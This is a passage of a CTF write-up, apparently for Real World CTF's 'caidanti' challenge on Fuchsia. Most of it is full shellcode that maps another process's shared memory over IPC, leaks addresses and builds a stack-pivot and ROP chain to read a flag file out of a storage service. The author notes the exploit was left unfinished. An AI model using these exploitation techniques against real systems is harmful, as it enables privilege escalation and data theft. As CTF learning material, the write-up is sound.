[02407.230] 01413:02022> fs.base: 0x45c4e2b3eb38 gs.base: 0
[02407.231] 01413:02022> errc: 0x14
[02407.231] 01413:02022> bottom of user stack:
[02407.231] 01413:02022> 0x00001c49d47b28b0: 4a4a4a4a 4a4a4a4a 4a4a4a4a 4a4a4a4a |JJJJJJJJJJJJJJJJ|
[02407.231] 01413:02022> 0x00001c49d47b28c0: 4a4a4a4a 4a4a4a4a 4a4a4a4a 4a4a4a4a |JJJJJJJJJJJJJJJJ|
[02407.231] 01413:02022> 0x00001c49d47b28d0: 4a4a4a4a 4a4a4a4a 4a4a4a4a 4a4a4a4a |JJJJJJJJJJJJJJJJ|
[02407.231] 01413:02022> 0x00001c49d47b28e0: 4a4a4a4a 4a4a4a4a 00000000 00000000 |JJJJJJJJ........|
[02407.231] 01413:02022> 0x00001c49d47b28f0: 00000000 00000000 00000000 00000000 |................|
[02407.231] 01413:02022> 0x00001c49d47b2900: 00000000 00000000 00000000 00000000 |................|
[02407.231] 01413:02022> 0x00001c49d47b2910: 00000000 00000000 74637772 65527b66 |........rwctf{Re|
[02407.231] 01413:02022> 0x00001c49d47b2920: 66206c61 2067616c 6c6c6977 20656220 |al flag will be |
[02407.231] 01413:02022> 0x00001c49d47b2930: 65726568 206e6f20 20656874 76726573 |here on the serv|
[02407.231] 01413:02022> 0x00001c49d47b2940: 41417265 41414141 41414141 41414141 |erAAAAAAAAAAAAAA|
[02407.231] 01413:02022> 0x00001c49d47b2950: 41414141 41414141 41414141 41414141 |AAAAAAAAAAAAAAAA|
[02407.231] 01413:02022> 0x00001c49d47b2960: 41414141 41414141 0000007d 00000000 |AAAAAAAA}.......|
[02407.231] 01413:02022> 0x00001c49d47b2970: 87721470 000035cd 00000080 00000000 |p.r..5..........|
[02407.231] 01413:02022> 0x00001c49d47b2980: 00000090 80000000 4b4b4b4b 4b4b4b4b |........KKKKKKKK|
[02407.231] 01413:02022> 0x00001c49d47b2990: 4b4b4b4b 4b4b4b4b 4b4b4b4b 4b4b4b4b |KKKKKKKKKKKKKKKK|
[02407.231] 01413:02022> 0x00001c49d47b29a0: 4b4b4b4b 4b4b4b4b 4b4b4b4b 4b4b4b4b |KKKKKKKKKKKKKKKK|
Yayaya! We have the flag in shared memory, what we can do now is to read it out from caidanti process and printf it! Nice, right :D?
Anyway, here is the final shellcode:
BITS 64
global _start
; offset list
; libc
fopen_offset equ 0x35030
fread_offset equ 0x39200
; canidanti
open_offset equ 0xAD30
flag_offset equ 0x22F1
; printf
printf_offset equ 0xAC40
; new/malloc
new_offset equ 0xAC60
; memset
memset_offset equ 0xAC30
zx_vmo_get_size_offset equ 0xACA0
zx_vmar_root_self_offset equ 0xACB0
zx_vmar_map_offset equ 0xACC0
; free stack
stack_free equ 0x300
; input buffer
stack_offset_1 equ 0x200
; output buffer
stack_offset_2 equ 0x250
; service object offset
service_obj_offset equ 0xC140
; stack pivot
stack_pivot_offset equ 0x3DF0
stack_pivot_2_offset equ 0x682
; base to get the base ptr of the caidanti
caidanti_base equ 0x1205
; macro list
; calculate caidanti base address
%macro get_caidanti_base_address 0
MOV RAX, caidanti_base
MOV RBX, [RSP]
SUB RBX, RAX
%endmacro
; get service object
%macro get_service_object 0
MOV RAX, service_obj_offset
MOV R14, RBX
ADD R14, RAX ; service object address in memory
%endmacro
; memset
%macro memset 0
MOV RAX, memset_offset
MOV R12, RBX
ADD R12, RAX
CALL R12
%endmacro
%macro malloc 1
MOV RAX, new_offset
MOV R12, RBX
ADD R12, RAX
MOV RDI, %1
CALL R12
%endmacro
%macro service_create_secret 0
MOV RAX, [R14]
MOV RAX, [RAX]
MOV RDI, [R14]
CALL [RAX + 0x10]
%endmacro
%macro service_update_content 0
MOV RAX, [R14]
MOV RAX, [RAX]
MOV RDI, [R14]
CALL [RAX + 0x20]
%endmacro
%macro return_to_main 0
MOV R12, RBX
MOV RAX, 0xFC3
ADD R12, RAX
JMP R12
%endmacro
%macro zx_vmo_get_size 0
MOV RAX, zx_vmo_get_size_offset
MOV R12, RBX
ADD R12, RAX
CALL R12
%endmacro
%macro zx_vmar_root_self 0
MOV RAX, zx_vmar_root_self_offset
MOV R12, RBX
ADD R12, RAX
CALL R12
%endmacro
; storage service:
print_text_storage_service equ 0x2C7
_start:
; setup the caidanti .base address
; get the service object address
; memset r13 that we will use to setup our .data
get_caidanti_base_address
get_service_object
; memset R13 region that we will use to setup our stuff
LEA RDI, [R13 - 0x1200]
XOR ESI, ESI
MOV EDX, 0x400
memset
; setup the update call, so we can get a VMO (virtual memory object)
; that will allow us to map caidanti-storage-service memory into our process
; basically shared memory
; setup the input and output buffer
LEA RSI, [R13 - 0x1110]
; write string 'A'
MOV RAX, 0x416564614d756f59
MOV [RSI], RAX
MOV RAX, 0x6c6c61434c444946
MOV [RSI+8], RAX
MOV RAX, 0x0
LEA RSI, [R13 - 0x1150]
MOV [RSI], RAX
LEA RSI, [R13 - 0x1148]
MOV [RSI], RAX
LEA RSI, [R13 - 0x1138]
MOV [RSI], RAX
MOV RAX, 0x10
LEA RSI, [R13 - 0x1131]
MOV [RSI], RAX
; build some object in rsp lol
LEA RAX, [R13 - 0x1150]
MOV [RSP+0x20], RAX
LEA RAX, [R13 - 0x1110]
MOV [RSP+0x10], RAX
MOV RAX, 0x1
MOV [RSP+0x8], RAX
MOV RAX, 0x4141414141414141
LEA RSI, [R13 - 0x1148]
MOV [RSI], RAX
MOV RAX, 0x4141414141414141
MOV [RSI+8], RAX
; calculate the vtable ptr
MOV RAX, [R14]
MOV RAX, [RAX]
LEA RSI, [R13 - 0x1148]
MOV RDX, [RSP + 0x20]
MOV RDI, [R14]
CALL [RAX + 0x20]
; at this point, we will have a VMO handle returned via IPC
; we can use it to map VMAR (virtual memory region) into our
; process that will be shared with storage service
; get object
LEA RSI, [R13 - 0x1150]
MOV RSI, [RSI]
MOV EDI, [RSI] ; get handle
LEA RSI, [R13 - 0x1120]
zx_vmo_get_size
zx_vmar_root_self
MOV EDI, EAX ; handle from vmar root self
LEA RSI, [R13 - 0x1150] ; vmo handle
MOV RSI, [RSI]
MOV ECX, [RSI] ; get handle
MOV ESI, 0x3
XOR EDX, EDX
XOR R8D, R8D
MOV R9, 0x00020000 ; size
LEA RAX, [R13 - 0x1110]
MOV [RAX], RDX
MOV [RAX + 8], RDX
MOV [RSP], RAX ; dst
MOV RAX, zx_vmar_map_offset
MOV R12, RBX
ADD R12, RAX
CALL R12
; we can use the shared memory to info leak a vtable + shared memory base address
; lets do it to setup our ROP and take over the storage service process
; read vtable from shared memory
LEA RSI, [R13 - 0x1110]
MOV RSI, [RSI]
MOV RSI, [RSI + 0x30]
MOV RAX, 0xE0A0
SUB RSI, RAX ; RSI = .text base
; calculate address for the stack pivot
MOV RAX, stack_pivot_offset
MOV R12, RSI
ADD R12, RAX
; store service storage .text base so we can ROP later
MOV R11, RSI
; leak shared memory base address in the another side
LEA RSI, [R13 - 0x1110]
MOV RSI, [RSI]
MOV RAX, 0x50
ADD RSI, RAX
MOV R14, [RSI] ; R12 = shared memory base address
; now we will setup a few gadget (some sort of JOP)
; to get control over the RSP
; its annoying but works
; after it, we will ROP to read the flag into shared memory
; so we can leak it back to caidanti process
; <---------------- BEING STACK PIVOT + ROP -----------<
LEA RSI, [R13 - 0x1110]
MOV RSI, [RSI]
; control R14
;LOAD:0000000000006928 mov r14, rdi
;LOAD:000000000000692B mov rax, [rdi+20h]
;LOAD:000000000000692F add rdi, 30h
;LOAD:0000000000006933 call qword ptr [rax+20h]
MOV RAX, 0x1928
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x70], R12 ; stack pivot
; at this point RDI will be shared_memory base
; so RAX = shared_memory+0x20
; fptr = RAX+0x20
; so lets make shared_memory+0x20 = shared_memory+0x100
; and inside shared_memory+0x100 we store the next gadget
MOV RAX, 0x100
MOV R12, R14
ADD R12, RAX
MOV [RSI + 0x20], R12
;LOAD:0000000000011E3C mov rax, [r14+28h]
;LOAD:0000000000011E40 test rax, rax
;LOAD:0000000000011E43 jz short loc_11E4E
;LOAD:0000000000011E45 mov rsi, [r14+30h]
;LOAD:0000000000011E49 mov rdi, r14
;LOAD:0000000000011E4C call rax
MOV RAX, 0xCE3C
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x120], R12
; at this point, we have control over R14!
; now next gadget to control rsi!
; at this point R14 is shared_memory base
; so shared_memory+0x28 == next gadget
; shared_memory+0x30 == rsi == shared_memory+0x120
MOV RAX, 0x1613
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x28], R12 ; next gadget
MOV RAX, 0x820
MOV R12, R14
ADD R12, RAX
MOV [RSI + 0x30], r12 ; RSI = shared_memory+0x820
; now we need to restore RAX
; at this point, RAX = shared_memory+0x820
; next gadget will be shared_memory+0x840
;LOAD:0000000000006613 mov rax, [r14+30h]
;LOAD:0000000000006617 lea rdi, [r14+40h]
;LOAD:000000000000661B call qword ptr [rax+20h]
MOV RAX, 0x5D4
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x840], R12
; finally, we can push rax into stack without
; trigger a CALL that will increment the stack pointer
; unfortunately I couldnt find a gadget to pop something before RSP :(
; to control the next gadget we will need to overwrite shared_memory+0x84E
;LOAD:00000000000055D4 push rax
;LOAD:00000000000055D5 jmp qword ptr [rsi+2Eh]
MOV RAX, 0x682
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x84E], R12
; finally, we control the stack
;LOAD:0000000000005682 pop rsp
;LOAD:0000000000005683 pop r14 ; 0x120
;LOAD:0000000000005685 pop r15 ; 0x128
;LOAD:0000000000005687 retn
MOV RAX, 0x680
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x830], R12 ; we control the RIP at this point/stack
; stack will be:
; shared_memory + 0x820
; lets pop to skip 0x840 and 0x84E so we can write our ROP without to worry about
; the previous gadget
;LOAD:0000000000005680 pop rbx
;LOAD:0000000000005681 pop r12
;LOAD:0000000000005683 pop r14
;LOAD:0000000000005685 pop r15
;LOAD:0000000000005687 retn
; free from the system, free from the fox die lul
; okay, we are free to write the rop chain
; open('pkg/data/flag', 0, 0)
; 0x000000000000548b: pop rdi; ret;
MOV RAX, 0x48B
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x858], R12 ; gadget pop rdi
MOV RAX, 0x2A98
MOV R12, R11
SUB R12, RAX
MOV [RSI + 0x860], R12 ; address with the flag string
; 0x00000000000053cd: pop rsi; ret;
MOV RAX, 0x3CD
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x868], R12
MOV RAX, 0x0
MOV [RSI + 0x870], RAX ; set rsi to 0
MOV RAX, 0xD7E0
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x878], R12 ; open(text, 0x0)
; read(fd, buf, nbytes)
; we need to move eax to edi
; we need to control edx and rsi
; LOAD:000000000000A000 pop rsi
; LOAD:000000000000A001 pop r15
; LOAD:000000000000A003 retn
; 0x00000000000055d4: push rax; jmp qword ptr [rsi + 0x2e];
; 0x000000000000548b: pop rdi; ret;
; ill yolo with RDX lmao
MOV RAX, 0x5000
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x880], R12 ; pop rsi, r15 retn
MOV RAX, 0x918
MOV R12, R14
ADD R12, RAX
MOV [RSI + 0x888], R12 ; shared_memory+0x918
MOV [RSI + 0x890], R12
MOV RAX, 0x5d4
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x898], R12 ; push rax, jmp qword ptr [rsi + 0x2e]
MOV RAX, 0x48B
MOV R12, R11
ADD R12, RAX ; pop rdi, ret
MOV [RSI + 0x946], R12 ; 0x2E + 0x918 that will be used by the jmp qword ptr
MOV RAX, 0xD900
MOV R12, R11
ADD R12, RAX
MOV [RSI + 0x8A0], R12 ; read
MOV RAX, 0xDEADBEEF
MOV [RSI + 0x8A8], RAX ; at this point youll have the flag in the shared memory
; we just need to read it out and print
; <-------------------- END <--------------------------<
; We have finished the annoying part, we are ready to take over the vtable in shared memory
; and control the code flow in storage process
LEA RSI, [R13 - 0x1110]
MOV RSI, [RSI]
MOV RAX, 0x50
ADD RSI, RAX
MOV R12, [RSI] ; R12 = shared memory base address
MOV RAX, 0x70
ADD R12, RAX ; R12 = shared_memory+0x70 (first ptr that we control)
; takeover vtable in shared memory
LEA RSI, [R13 - 0x1110]
MOV RSI, [RSI]
MOV [RSI], R12
ADD RSI, RAX
; force a crash, usually Id wait for the content being written in shared memory
; unfortunately I didnt finish it in time, so it doesnt matter now
MOV RSP, RSI
INT 3
return_to_main
As I said before, I wasn’t able to finish the part 2 in time.. still, it was a nice experience and I really enjoyed to write an exploit for that challenge (▰˘◡˘▰). Anyway, Real World CTF was amazing hah!
If you’ve any question, suggestion, feel free to leave it in the comments and I’ll answer ASAP :D.
[]’s
See ya next time!
Capture the Flag , Pwnable , Reverse Engineering , Shellcode , Writeup